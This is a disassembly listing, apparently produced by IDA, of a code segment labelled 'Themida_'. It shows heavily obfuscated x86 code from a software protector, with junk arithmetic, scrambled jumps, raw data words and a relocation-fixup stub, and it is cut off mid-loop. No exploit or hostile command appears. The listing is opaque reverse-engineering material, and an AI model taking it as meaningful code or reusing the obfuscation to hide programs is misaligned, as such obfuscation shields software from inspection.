		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5516AB:				; CODE XREF: Themida_:00548A65j
		movzx	cx, ah
		push	small 54FCh
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_54603E
; ---------------------------------------------------------------------------
		db 81h
		dd 0E93A49C5h, 5DE82161h, 2D03E8C1h, 9D4D0F31h,	48BC221h
		dd 4C48324h, 0E82DEA81h, 0BDE912DCh
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5516E7:				; CODE XREF: Themida_:0054E93Cj
		sub	eax, ecx
		pop	ecx
		pop	esi
		add	eax, 4
		jmp	loc_5521B2
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 78B3E924h, 0C480FFFFh, 0E9E130FCh, 0FFFFF609h
; ---------------------------------------------------------------------------

loc_551708:				; CODE XREF: Themida_:005477F5j
		push	esi
		mov	esi, 58CE5FECh
		mov	edi, esi
		jmp	loc_54F358
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 76h
		dd 0E93ABB30h, 0FFFFC0FEh, 5268E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551726:				; CODE XREF: Themida_:0054B534j
		mov	dl, 0B2h
		add	dl, 58h
		sub	bl, 3Fh
		add	bl, dl
		add	bl, 3Fh
		pop	edx
		add	bl, al
		push	2D08h
		mov	[esp], edx
		mov	dh, 0D4h
		push	ecx
		jmp	loc_551E7D
; ---------------------------------------------------------------------------
		dw 575Ch
		dd 68E9E789h, 66FFFFC5h, 6657AB68h, 0E9240489h,	0FFFF48E2h
; ---------------------------------------------------------------------------

loc_55175C:				; CODE XREF: Themida_:0054A8C8j
		shl	edx, 4
		push	ebp
		jmp	loc_54F8D3
; ---------------------------------------------------------------------------

loc_551765:				; CODE XREF: Themida_:0055243Bj
		pop	dx
		sub	bl, 0FFh
		shl	bl, 8
		jmp	loc_550A40
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 0FFFF48C6h, 0E9240C33h, 0FFFF79D2h, 249BEA81h, 0B3E91713h
		dd 5BFFFF48h, 0FFF622E9h, 10AD05FFh, 7EE95129h,	1FFFF9Bh
		dd 0FF5258C2h, 5A042474h, 0E924048Fh, 0CDCh, 0C781C701h
		dd 0AA339AEh, 0FF850AE9h, 0C8B66FFh, 79E95624h,	66FFFF57h
		dd 0C9E9F1F7h
		db 59h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5517CB:				; CODE XREF: Themida_:00551171j
		xor	edi, 6CCC1AECh
		xor	edi, 0D93A968h
		add	esi, edi
		pop	edi
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		jmp	loc_54E265
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FFD0D3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5517F1:				; CODE XREF: Themida_:00551D93j
		not	esi
		or	esi, 41012E50h
		inc	esi
		push	ebp
		mov	ebp, 0ACC5E60h
		or	ebp, 568C3ED9h
		xor	ebp, 0FB9AD04Eh
		xor	esi, ebp
		jmp	loc_550320
; ---------------------------------------------------------------------------
		db 0BDh
		dd 0BBEAC2FEh, 15DEF01h, 243C8BF8h, 95EBE955h, 2C33FFFFh
		dd 8FFCE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55182E:				; CODE XREF: Themida_:0054D84Cj
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_546141
; ---------------------------------------------------------------------------
		dd 31240433h, 4332404h,	4FF5C24h, 0EFE99C24h
		db 47h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55184F:				; CODE XREF: Themida_:00548188j
		pop	edx
		sub	edi, 64387888h
		jmp	loc_54C0E4
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 243C8900h, 367F6851h, 0E9595409h, 0FFFF8C38h
		dd 8124048Bh, 4C4h, 240C3300h, 33240C31h, 248B240Ch, 32DB6824h
		dd 0C9E90000h, 8BFFFF9Bh, 0A30F2424h, 0E99C2404h, 0FFFF47A2h
; ---------------------------------------------------------------------------

loc_55189C:				; CODE XREF: Themida_:005489C4j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	esi
		jmp	loc_54BF9D
; ---------------------------------------------------------------------------

loc_5518A9:				; CODE XREF: Themida_:0054BA88j
		add	esp, 4
		dec	dh
		neg	dh
		add	dh, 87h
		add	bl, 50h
		jmp	loc_54AE53
; ---------------------------------------------------------------------------
		dw 1489h
		dd 0BF5724h, 89000002h,	0EB6AE9FAh, 0B951FFFFh,	61080B7Eh
		dd 0BC9EE981h, 0C82931E7h, 0FF4D34E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5518E1:				; CODE XREF: Themida_:0054A12Dj
		pop	edi
		shl	edi, 5
		inc	edi
		xor	edi, 0C546A1E5h
		mov	edx, edi
		pop	edi
		jmp	loc_54BE92
; ---------------------------------------------------------------------------
		dd 602130B9h, 3AE9814Bh, 8179C072h, 7A7ABDC9h, 8E9812Eh
		dd 1DAF68Fh, 0F50159CDh, 72AFE956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551916:				; CODE XREF: Themida_:005519CBj
		mov	edx, 4
		add	ecx, edx
		pop	edx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_549014
; ---------------------------------------------------------------------------
aWhZ		db 'WhÑZ',0
		dd 24248900h, 4240481h,	5F000000h, 360A68h, 5BA9E900h
		dd 91BBFFFFh, 4305254Eh, 0B1E3814Bh, 0E91CC757h, 0FFFFF310h
		dd 0E92434FFh, 0FFFFAF03h, 5724048Bh, 0BD55E789h, 6EC3505Eh
		dd 0FFC839E9h, 241C89FFh, 53512CB7h, 0D98806B3h, 0FFEDC4E9h
		dd 4EC81FFh, 89000000h,	0E6892434h, 0FF69A3E9h,	490368FFh
		dd 0C890000h, 0F8B2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5519A2:				; CODE XREF: Themida_:0054B5FDj
		xor	[esp], eax
		jmp	loc_54B21C
; ---------------------------------------------------------------------------
		dw 0DF31h
		dd 5FF9315Bh, 0E959CF01h, 0FFFFA19Eh, 295FF989h, 535D59C8h
		dd 32E9E389h
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5519C7:				; CODE XREF: Themida_:00551DA7j
		add	ecx, edi
		pop	edi
		push	edx
		jmp	loc_551916
; ---------------------------------------------------------------------------
		dd 0E9505A66h, 0FFFFFFBDh, 5C0FE981h, 0F901757Ch, 5C0FC181h
		dd 535F757Ch, 2BBh, 0DEC18100h,	816B8B33h, 5D041EC1h, 81D90116h
		dd 5D041EE9h, 0DEB85016h, 296B8B33h, 515B58C1h,	42474FFh
		dd 81240C8Bh, 4C4h, 24048F00h, 790DE95Ch, 77FFFFFFh, 58669D1Ch
		dd 9C240418h, 0FF460DE9h, 97CA80FFh, 0F6B2C280h, 7EAC0DAh
		dd 88EEEA80h, 0FE885AD7h, 0AFF8E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551A4A:				; CODE XREF: Themida_:0054A7FBj
		push	esi
		mov	esi, 79932D73h
		jmp	loc_5496A0
; ---------------------------------------------------------------------------
		db 31h,	34h, 24h
		dd 8B243433h, 89662424h, 6BE9240Ch, 68FFFFDCh, 6EF2h, 0B8240489h
		dd 9C11DD7h, 3E0DD8F7h,	2D5E1710h, 6E1B1114h, 3005D0F7h
		dd 0E99024E1h, 0FFFF705Eh, 81240C8Bh, 4C4h, 24048F00h
		dd 0FF504CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551A9D:				; CODE XREF: Themida_:0055004Ej
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	ebp
		jmp	loc_54AEF0
; ---------------------------------------------------------------------------
		dd 5169EB80h, 0ED806AB5h, 59EB2850h, 8904EC83h,	0CFE92414h
		dd 81FFFF93h, 0CADD5DC1h, 59CD292Dh, 0FFCEF5E9h, 0FFC680FFh
		dd 0FFC27DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551ADD:				; CODE XREF: Themida_:0055027Fj
		mov	edi, eax
		pop	eax
		neg	edi
		sub	edi, 0F03DFDA8h
		and	ecx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		shr	ecx, 7
		jmp	loc_54F815
; ---------------------------------------------------------------------------

loc_551AFC:				; CODE XREF: Themida_:0054BD5Ej
		pop	eax
		jmp	loc_550811
; ---------------------------------------------------------------------------
		dw 0CFFh
		dd 33E99C24h, 0BFFFFF45h, 4, 0E95FFE01h, 0FFFF63DAh, 31242C33h
		dd 2C33242Ch, 4315C24h,	4514E924h, 0E289FFFFh, 4C281h
		dd 0C2810000h, 2, 5C241487h, 805DB252h,	0F3E946E2h, 5CFFFFE4h
		dd 81242489h, 42404h, 815B0000h, 4C3h, 2C38300h, 5A2A68h
		dd 0B0E3E900h, 0C8BFFFFh, 762AE924h, 0CE29FFFFh, 657CE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551B76:				; CODE XREF: Themida_:00549F03j
		mov	[esp], edi
		jmp	loc_5469C7
; ---------------------------------------------------------------------------
		dw 0C6FEh
		dd 0E908E6C0h, 0FFFF8339h, 1366F781h, 0CF8153E8h, 3CE42A1Ch
		dd 1C04E781h, 0EFC13F8Fh, 81DFF703h, 6E7C84F7h,	5FFB01F8h
		dd 0FFD071E9h, 51D830FFh, 8904EC83h, 88E92414h,	83FFFF9Bh
		dd 348704EEh, 14895C24h, 4EC8124h, 89000000h, 0BA522424h
		dd 4, 4244481h,	2812043Fh, 4245401h, 4246C81h, 2812043Fh
		dd 9AFEE95Ah, 8B66FFFFh, 5452240Ch, 8124148Bh, 4C4h, 4BB5300h
		dd 1000000h, 241C8BDAh,	0E904C483h, 0FFFF86ECh,	0E99CC884h
		dd 0FFFF4426h, 6B7FF181h, 0C9816EBEh, 284638E1h, 1C4CC181h
		dd 0D18718C3h, 5952514Ah, 806EE95Ah, 2C8BFFFFh,	4C48324h
		dd 4B850h, 0FCE90000h, 5FFFFFCFh, 8704C283h, 0E95C2414h
		dd 0FFFF43EAh
; ---------------------------------------------------------------------------

loc_551C54:				; CODE XREF: Themida_:005520C7j
		push	esi
		jmp	loc_54D851
; ---------------------------------------------------------------------------
		dw 4481h
		dd 2A120424h, 44293572h, 6C810424h, 2A120424h, 0FE93572h
		dd 0B4FFFFB4h, 80B4B23Ah, 0C28092EAh, 0E9E20040h, 0FFFFF975h
		dd 4C481h, 0E9010000h, 2C1815Dh, 33000000h, 0C31240Ch
		dd 240C3324h, 0D324248Bh, 0E99C243Ch, 0FFFF4396h
; ---------------------------------------------------------------------------

loc_551CA8:				; CODE XREF: Themida_:0054B8BAj
		mov	ebx, 4
		sub	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 1Ch
		add	ebx, edi
		mov	eax, [ebx]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_54D12E
; ---------------------------------------------------------------------------
		db 5Dh
		dd 70C7C581h, 0E94568FCh, 0FFFFDBA2h, 7FE7815Eh, 81257529h
		dd 45528ACFh, 65C7811Fh, 315351B5h, 0F0015FFEh,	0FF74D0E9h
		dd 7BB868FFh, 24890000h, 54D2E924h, 5052FFFFh, 34592268h
		dd 24048B24h, 4C481h, 93E90000h, 66FFFF47h, 5C0C381h, 66FB2966h
		dd 5C0EB81h, 0BF665766h, 1660A59h, 8B5F66FBh, 4FE9243Ch
		dd 8BFFFFDBh, 0C4832404h, 4EC8104h, 89000000h, 0E189240Ch
		dd 4C181h, 0EC810000h, 4, 0E9241489h, 0FFFF8F74h, 2474FF57h
		dd 243C8B04h, 4C481h, 48F0000h,	24248B24h, 24048966h, 0FFD20BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551D85:				; CODE XREF: Themida_:0054B651j
		pop	ebp
		push	esi
		mov	esi, 2DCE7048h
		or	esi, 77165620h
		dec	esi
		jmp	loc_5517F1
; ---------------------------------------------------------------------------

loc_551D98:				; CODE XREF: Themida_:0054737Fj
		shr	edi, 8
		sub	edi, 78877D30h
		sub	edi, 87A38671h
		jmp	loc_5519C7
; ---------------------------------------------------------------------------

loc_551DAC:				; CODE XREF: Themida_:0054CBFDj
		push	ebx
		mov	ebx, ebp
		mov	edi, ebx
		jmp	loc_55227C
; ---------------------------------------------------------------------------
		dw 2C87h
		dd 91A8E924h, 42DFFFFh,	50000000h, 42474FFh, 24048F58h
		dd 4DC1E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551DD2:				; CODE XREF: Themida_:0054E720j
		xor	esi, [edi+24h]
		sub	esp, 4
		jmp	loc_54D299
; ---------------------------------------------------------------------------
		db 52h,	0B2h, 0D0h
		dd 0FE07E2C0h, 0BBF280CAh, 665AD720h, 6619E950h, 8B66FFFFh
		dd 36E92404h, 0E9FFFF43h, 0FFFF423Eh, 575EF589h, 45415EBFh
		dd 6A01E94Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551E0E:				; CODE XREF: Themida_:0054A56Cj
		add	esi, 4
		push	ebx
		mov	ebx, 6705701Ah
		inc	ebx
		or	ebx, 642D09E6h
		add	ebx, 0FFFFFFFFh
		jmp	loc_54E40C
; ---------------------------------------------------------------------------
		dd 5504C483h, 0FFE2E2E9h, 2434FFFFh, 8324148Bh,	0C48304C4h
		dd 63D2E904h, 335CFFFFh, 3C31243Ch, 243C3324h, 6624248Bh
		dd 9C2404D3h, 0FF41E1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551E5D:				; CODE XREF: Themida_:0054C8F7j
		mov	[esp], edi
		mov	edi, 5D273E8h
		push	eax
		jmp	loc_54FF77
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4C381h, 0C3810000h, 4, 217E9h
		db 0
; ---------------------------------------------------------------------------

loc_551E7D:				; CODE XREF: Themida_:00551741j
		mov	cl, 7Ch
		shl	cl, 5
		jmp	loc_546EA6
; ---------------------------------------------------------------------------
		db 89h
		dd 4C581E5h, 0E9000000h, 0FFFFF73Eh, 0E35B14BFh, 0F7FAE94Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551E9E:				; CODE XREF: Themida_:005500BFj
		not	ebx
		jmp	loc_54C30A
; ---------------------------------------------------------------------------
		db 0C1h, 0EDh, 7
		dd 0FFE225E9h, 4C481FFh, 68000000h, 1306h, 89241489h, 4C281E2h
		db 3 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54ECA1
; ---------------------------------------------------------------------------
		db 1
		dd 2E95BDFh, 86FFFF4Ah,	66D6F6F1h, 0F1885153h, 0FFC71FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551EF1:				; CODE XREF: Themida_:00549F99j
		add	ebx, 0DF6B9C85h
		dec	ebx
		push	edi
		jmp	loc_54C7F4
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 62C6BB24h, 25E969DFh, 89FFFFE8h, 0CEE95BDAh,	0ADFFFFCDh
		dd 0FDF4E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551F1A:				; CODE XREF: Themida_:0054914Dj
		push	635h
		mov	[esp], esi
		not	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_54ECE9
; ---------------------------------------------------------------------------
		db 57h
		dd 4BFh, 0DE0EE900h, 0EF81FFFFh, 2CE91479h, 0EA4FE94Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551F4A:				; CODE XREF: Themida_:0054669Bj
		push	dword ptr [eax]
		push	edi
		push	ebx
		jmp	loc_549A23
; ---------------------------------------------------------------------------

loc_551F53:				; CODE XREF: Themida_:0054C1E3j
		mov	ecx, 78283F4Fh
		jmp	loc_54ACBF
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 9BE95453h, 29FFFF82h, 0DE015DEEh, 2D54BF57h,	0EF817C8Eh
		dd 6E7EBDD4h, 815FFE01h, 8C30C4C6h, 0C2C6813Eh,	0FF7B5D13h
		dd 1C8B2434h, 7E5EE924h, 0EB81FFFFh, 25A64F3Bh,	74FF535Fh
		dd 8F5B0424h, 665C2404h, 5124048Bh, 5350E189h, 22687FBBh
		dd 28BE5608h, 814FDB63h, 0C3328EEh, 0BA54E915h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551FC2:				; CODE XREF: Themida_:0054E622j
		pop	edx
		mov	edi, 0E6149E4h
		xor	edi, ecx
		pop	ecx
		and	eax, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	esp, 4
		shr	eax, 0Ch
		xor	eax, ecx
		xchg	eax, ebp
		not	ebp
		push	6B46h
		mov	[esp], eax
		push	73C7h
		mov	[esp], ebp
		mov	eax, [esp]
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_54F291
; ---------------------------------------------------------------------------
		dd 0EDEA815Eh, 296A4C02h, 0EDC281F2h, 5E6A4C02h, 0E955C229h
		dd 0FFFF463Eh
; ---------------------------------------------------------------------------

loc_552018:				; CODE XREF: Themida_:0054A1D9j
		xchg	ebp, [esp]
		pop	esp
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_54603E
; ---------------------------------------------------------------------------
		db 0B8h, 3Eh, 0Eh
		dd 46E927D3h, 0FFFFFF6Eh, 34FF2434h, 0C4815824h, 4, 714C6850h
		dd 24890000h, 0AA57E924h, 61BEFFFFh, 0E938847Ah, 0FFFF5C2Bh
		dd 0B9240C89h, 2, 0DE9C801h, 56FFFFC8h,	0FF6817E9h, 4C483FFh
		dd 2ED81h, 89520000h, 78CFE9E2h, 0B850FFFFh, 67100DC5h
		dd 0C66E7E25h, 96D8F756h, 12D9646h, 0E9000000h,	0FFFF7D89h
		dd 2474FF53h, 2434FF04h, 81241C8Bh, 4C4h, 4EC8300h, 89240489h
		dd 0C1EBE9E0h, 7B05FFFFh, 108BF06h, 7BC7E9C7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5520BE:				; CODE XREF: Themida_:0054C11Ej
		sub	edx, 38BB0A65h
		mov	ebp, edx
		pop	edx
		jmp	loc_551C54
; ---------------------------------------------------------------------------

loc_5520CC:				; CODE XREF: Themida_:0054A18Fj
		pop	esi

loc_5520CD:				; CODE XREF: Themida_:0054FF43j
		push	4EEFh
		mov	[esp], esi
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, 4
		jmp	loc_5502BF
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 92h
		dd 3127487Fh, 58042444h, 7F923558h, 15F2748h, 58042444h
		dd 0FF3F39E9h, 74FF52FFh, 8F5A0424h, 93E92404h
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552113:				; CODE XREF: Themida_:0054C6AFj
		sub	ebp, 4E143AFh
		jmp	loc_54C930
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC81240Ch, 4, 89243489h, 4C681E6h, 52000000h, 4BAh
		dd 5AD62900h, 5C243487h, 54241C89h, 0FFD918E9h,	4C483FFh
		dd 3159CF89h, 2434FFF8h, 0FF8143E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_552159:				; CODE XREF: Themida_:005524D2j
		add	edx, 4
		sub	edx, 4
		jmp	loc_548940
; ---------------------------------------------------------------------------
		db 1
		dd 7D48E9E9h, 8CBEFFFFh, 810B1908h, 687F6FC6h, 0B6C6810Bh
		dd 0E973853Bh, 0FFFF9137h, 409DE953h, 3431FFFFh, 24343324h
		dd 0E924248Bh, 0FFFFD610h, 0E8F04D35h, 58C20118h, 78DB68h
		dd 241C8900h, 664CD1BBh, 6708E933h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5521B2:				; CODE XREF: Themida_:005516F0j
		xchg	eax, [esp]
		pop	esp

loc_5521B6:				; CODE XREF: Themida_:0054DE36j
		push	3691h
		mov	[esp], ebp
		push	5779h
		mov	[esp], ecx
		mov	ecx, ebx
		mov	ebp, ecx
		push	dword ptr [esp]
		jmp	loc_54F55B
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 5FE9C231h, 0BEFFFF3Eh, 7D2549A2h,	67BDCE81h, 0EE815CC9h
		dd 3DD80F5Fh, 815EF189h, 0EA9FCCC1h, 0BAC181BFh, 10F3B25h
		dd 0BAE981F9h, 30F3B25h, 240C8B01h, 58EF68h, 242C8900h
		dd 0BE56E589h, 44764A1h, 649DEE81h, 0F5010447h,	0E46CE95Eh
		dd 8166FFFFh, 66D5DDC3h, 54E9DF09h, 0BBFFFFF5h,	7BD907E6h
		dd 0EB83D3F7h, 0FFC381FFh, 0E9FFFFFFh, 0FFFFEC27h, 8904EC83h
		dd 8B54241Ch, 6C68241Ch, 8900001Ch, 0E2892414h,	4C281h
		dd 0C2810000h, 4, 0FFFE94E9h, 3DC8E9FFh, 0E95AFFFFh, 0FFFF6956h
; ---------------------------------------------------------------------------

loc_55227C:				; CODE XREF: Themida_:00551DB1j
		pop	ebx
		pop	ebp
		push	edi
		sub	dword ptr [esp], 22C0629Ah
		pop	eax
		sub	esp, 4
		jmp	loc_546DFE
; ---------------------------------------------------------------------------
		dw 0CB28h
		dd 0FFA7E5E9h, 55E689FFh, 4BDh,	6D75E900h, 0C15FFFFFh
		dd 23E906EFh, 89FFFFA1h, 4C381E3h, 83000000h, 1C8704C3h
		dd 52665C24h, 0D30092B2h, 0EC835A66h, 0C896602h, 0E977B124h
		dd 0FFFF4902h
; ---------------------------------------------------------------------------

loc_5522D4:				; CODE XREF: Themida_:0054D07Dj
		sub	eax, ecx
		pop	ecx
		add	eax, 0CC17E9A1h
		mov	esi, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edx
		jmp	loc_54A7A4
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48324h, 0FFAF4CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5522F5:				; CODE XREF: Themida_:0054C25Fj
		add	esp, 4
		push	edi
		mov	edi, 3567F7Eh
		sub	edi, 2D6655F6h
		jmp	loc_54C1DC
; ---------------------------------------------------------------------------

loc_552309:				; CODE XREF: Themida_:0054EA99j
		add	esp, 4
		jmp	loc_54F1D9
; ---------------------------------------------------------------------------
		db 0ADh, 81h, 0ECh
		dd 4, 0BD242C89h, 7F7D7E3Ah, 0FF6F8FE9h, 24EB81FFh, 1F922D6h
		dd 89505BDEh, 405E0h, 0D2680000h, 89000046h, 4BD242Ch
		dd 5000000h, 50B457DDh,	0DD2DE829h, 8B50B457h, 0C481242Ch
		dd 4, 0FFCE74E9h, 76EF81FFh, 3102A716h,	524B5FFBh, 7F2A68h
		dd 6194E900h, 66ACFFFFh, 287DB252h, 0E435E9D0h,	0E829FFFFh
		dd 81242C8Bh, 4C4h, 58C33100h, 0FF8245E9h, 0D7E956FFh
		db 5Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552397:				; CODE XREF: Themida_:0054DC60j
		pop	esi
		add	ebx, 97BBFC86h
		jmp	loc_546879
; ---------------------------------------------------------------------------
		db 0B9h
		dd 4, 0FF564CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5523AD:				; CODE XREF: Themida_:00549016j
		jnz	loc_5475CD
		push	1
		jmp	loc_5502D0
; ---------------------------------------------------------------------------
		db 54h,	8Bh, 34h
		dd 47E4E924h, 30ACFFFFh, 0CE84E9D8h, 0C89FFFFh,	9E56E924h
		dd 0E6B4FFFFh, 0FF7067E9h, 18B951FFh, 0F717DA2Eh, 0C18141D9h
		dd 29172875h, 0FA5AF181h, 0CF01113Ch, 243C8759h, 0EBBF575Ch
		dd 0E93E786Fh, 0FFFF99E3h
; ---------------------------------------------------------------------------

loc_552404:				; CODE XREF: Themida_:00548231j
		mov	bl, 65h
		push	eax
		mov	ah, 0A3h
		sub	ah, 0E2h
		sub	bl, ah
		pop	eax
		add	bl, dh
		add	bl, 0C1h
		pop	edx
		push	dx
		push	eax
		mov	al, 0D9h
		mov	dl, al
		mov	eax, [esp]
		add	esp, 4
		push	edx
		mov	dh, 21h
		not	dh
		add	dh, 57h
		or	dh, 4Ch
		xor	dh, 0FCh
		sub	bl, dh
		pop	edx
		sub	bl, dl
		add	bl, 81h
		jmp	loc_551765
; ---------------------------------------------------------------------------
		dd 28E9E589h, 54FFFFA3h, 0E764E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55244E:				; CODE XREF: Themida_:0054B038j
		push	555h
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		push	3BA8h
		mov	[esp], edx
		push	ebp
		jmp	loc_550D1F
; ---------------------------------------------------------------------------
		dd 0A5E5E95Bh, 0E959FFFFh, 0FFFF795Ah, 0D224248Bh, 0E99C2424h
		dd 0FFFFC546h
; ---------------------------------------------------------------------------

loc_552494:				; CODE XREF: Themida_:005508AFj
		sub	ebx, 638735C6h
		pop	edx
		mov	dword ptr [ebx], 0
		mov	ebx, [esp]
		jmp	loc_55149D
; ---------------------------------------------------------------------------

loc_5524A9:				; CODE XREF: Themida_:005472D1j
		push	ecx
		mov	esi, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_550C32
		push	dword ptr [edi+28h]
		push	edx
		mov	edx, esp
		jmp	loc_552159
; ---------------------------------------------------------------------------
		db 1
aUo9mnz		db 'uŽ9mNZ',0
		db 81h
		dd 0FAFA6CE2h, 5A59h, 0EB000000h, 3CC08108h, 76200E1h
		dd 2000002h, 1000000h, 6000000h, 81000000h, 0FA6CE2h, 4	dup(0)
		dd 75000000h, 4B0055FFh, 75005568h, 38005646h, 0A2005593h
		dd 0B50055A0h, 2700559Bh, 770055A9h, 64005622h,	0CF005530h
		dd 0BF005603h, 61005596h, 0E200563Fh, 98005639h, 0B100562Bh
		dd 7500552Ch, 0C10055B5h, 62005635h, 2A00559Fh,	18005606h
		dd 420055B2h, 1B00557Ah, 5005624h, 0F100564Dh, 500055BCh
		dd 51005644h, 6000556Bh, 5F0055B9h, 92005622h, 68005655h
		dd 0D5005573h, 96005532h, 39005661h, 6E00566Fh,	0D1005647h
		dd 0D9005566h, 50005599h, 6900557Ah, 0C100555Eh, 2A005613h
		dd 1500563Dh, 0AD005659h, 0E8005620h, 0EB005575h, 0CE005560h
		dd 70005593h, 0FE005665h, 21005616h, 5500560Bh,	0DD00558Bh
		dd 0E600552Fh, 7D0055F8h, 0E1005543h, 7C005631h, 35005567h
		dd 62005671h, 59005677h, 0E005537h, 0AC005564h,	9E00566Fh
		dd 5200565Dh, 0C50055D1h, 6E00559Ch, 0CA005624h, 3A005658h
		dd 0D800561Ah, 41005608h, 400567Bh, 0AA0055AAh,	0C100564Fh
		dd 3F005573h, 0B8005547h, 7D0055D0h, 51005553h,	5400559Fh
		dd 1F00554Bh, 0EC00567Bh, 0AE0055DDh, 0D80055B6h, 100560Fh
		dd 9300558Bh, 2300556Fh, 930055CEh, 0F800552Dh,	7400561Eh
		dd 0A005564h, 800055E2h, 0DA005593h, 3500556Ah,	0A00566Bh
		dd 0D900563Eh, 8C005597h, 0AB00566Eh, 5800558Fh, 340055BAh
		dd 2A00566Ah, 2E00554Ah, 0E005645h, 0DF0055EFh,	0D0055D7h
		dd 3600554Bh, 0C60055A6h, 0FB005631h, 0FC00553Fh, 0D70055CCh
		dd 1F0055A8h, 27005670h, 23005665h, 0A4005571h,	0AE00566Ah
		dd 0F500557Eh, 1100560Bh, 7500559Eh, 0AC005580h, 10055E0h
		dd 4000552Bh, 200055B0h, 370055D2h, 0C800557Ah,	2100554Ch
		dd 550055FEh, 36005616h, 390055D8h, 1E0055ABh, 73005592h
		dd 19005587h, 0E900559Ch, 34005641h, 88005636h,	53005593h
		dd 2F005598h, 8C005531h, 0E6005625h, 0FE0055EBh, 0FB005554h
		dd 53005666h, 77005573h, 7D005538h, 0EE005530h,	8B005570h
		dd 970055B3h, 7B0055CAh, 2400554Eh, 530055B4h, 44005637h
		dd 5B005622h, 0BD0055DDh, 0CD0055C4h, 3800554Bh, 0E4005567h
		dd 0EF00563Fh, 0D0005577h, 6C005567h, 650055D9h, 0A4005565h
		dd 0EB005560h, 44005660h, 4C005671h, 3A00556Dh,	14005584h
		dd 0D70055A2h, 44005637h, 0C700560Dh, 74005613h, 84005595h
		dd 0BE005612h, 20055E5h
		db 83h,	55h, 0
; ---------------------------------------------------------------------------

loc_5527B7:				; CODE XREF: Themida_:005942E9j
					; Themida_:0059E852j
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 5E8453Eh
		mov	eax, edi
		add	edi, 5E84256h
		cmp	eax, [edi+2Ch]
		jnz	short loc_5527D5
		jmp	short loc_5527E8
; ---------------------------------------------------------------------------

loc_5527D5:				; CODE XREF: Themida_:005527D1j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_5527E4
; ---------------------------------------------------------------------------

loc_5527DF:				; CODE XREF: Themida_:005527E6j
		add	[edi+ecx*4+40h], eax
		dec	ecx

loc_5527E4:				; CODE XREF: Themida_:005527DDj
		or	ecx, ecx
		jnz	short loc_5527DF

